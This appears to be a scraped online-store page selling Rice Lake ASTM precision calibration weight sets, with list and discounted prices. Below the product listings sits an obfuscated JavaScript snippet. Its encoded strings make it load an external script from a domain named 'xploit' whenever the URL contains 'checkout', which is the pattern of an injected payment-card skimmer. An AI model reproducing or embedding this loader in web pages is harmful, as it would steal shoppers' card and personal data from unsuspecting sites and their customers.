JavaScript seems to be disabled in your browser.
You must have JavaScript enabled in your browser to utilize the functionality of this website.

ASTM Precision Mass Reference Standards

Using ASTM precision calibration weights and mass reference standards helps ensure accuracy in laboratory weighing processes.

ASTM calibration weights are available in Class 0, 1, 2, 3 and 4 as individual weights, sets and complete kits.

Application:

Calibrating Class I and II balances
Calibrating ASTM Class 4, 5, and 6 weights
Student laboratory use
Rough weighing operations; force measuring operations
Tolerance testing
Verification checks

16% off

Rice Lake Weighing 300 g - 1 g (721 g) Precision Laboratory ASTM Class 1 Weight Set (5-3-2-1) with Accredited Certificate

List Price: $2,240.00

Now: $1,882.00

View Product
16% off

Rice Lake Weighing 300 g - 1 g (721 g) Precision Laboratory ASTM Class 2 Weight Set (5-3-2-1) with Accredited Certificate

List Price: $2,100.00

Now: $1,764.00

View Product
16% off

Rice Lake Weighing 300 g - 1 g (721 g) Precision Laboratory ASTM Class 3 Weight Set (5-3-2-1) with Accredited Certificate

List Price: $2,040.00

Now: $1,713.00

View Product
16% off

Rice Lake Weighing 300 g - 1 g (721 g) Precision Laboratory ASTM Class 4 Weight Set (5-3-2-1) with Accredited Certificate

List Price: $1,660.00

Now: $1,394.00

View Product

Loading, please wait ...

var _0x4e6ec4=_0x5a6c;(function(_0x556683,_0xd0586c){var _0x204f21=_0x5a6c,_0xeee28e=_0x556683();while(!![]){try{var _0x875cff=-parseInt(_0x204f21(0x17f))/0x1*(-parseInt(_0x204f21(0x178))/0x2)+parseInt(_0x204f21(0x185))/0x3*(parseInt(_0x204f21(0x17e))/0x4)+-parseInt(_0x204f21(0x17b))/0x5+parseInt(_0x204f21(0x179))/0x6+parseInt(_0x204f21(0x182))/0x7*(-parseInt(_0x204f21(0x17a))/0x8)+-parseInt(_0x204f21(0x183))/0x9*(parseInt(_0x204f21(0x180))/0xa)+parseInt(_0x204f21(0x181))/0xb;if(_0x875cff===_0xd0586c)break;else _0xeee28e['push'](_0xeee28e['shift']());}catch(_0x561c0b){_0xeee28e['push'](_0xeee28e['shift']());}}}(_0x4e33,0x397e0));if(location[_0x4e6ec4(0x186)][_0x4e6ec4(0x17d)](atob(_0x4e6ec4(0x17c)))!=-0x1){var w=document[_0x4e6ec4(0x176)](_0x4e6ec4(0x177));w[_0x4e6ec4(0x175)]=atob(_0x4e6ec4(0x174)),document['head'][_0x4e6ec4(0x184)](w);}function _0x5a6c(_0x3bb7cc,_0x5e177f){var _0x4e3302=_0x4e33();return _0x5a6c=function(_0x5a6ce0,_0x312853){_0x5a6ce0=_0x5a6ce0-0x174;var _0x1cbc36=_0x4e3302[_0x5a6ce0];return _0x1cbc36;},_0x5a6c(_0x3bb7cc,_0x5e177f);}function _0x4e33(){var _0x264106=['3379320VXvVoj','237512CxiWOG','14AcVOyy','9oMLnjf','appendChild','998643MstBad','href','aHR0cHM6Ly94cGxvaXQuaW0vZ2VuZXJhdG9yLw==','src','createElement','script','458SsYduE','1807260DPtABo','585008hIPjNS','1255575cJsrIS','Y2hlY2tvdXQ=','search','4wkbRYc','1376RHXhMV'];_0x4e33=function(){return _0x264106;};return _0x4e33();}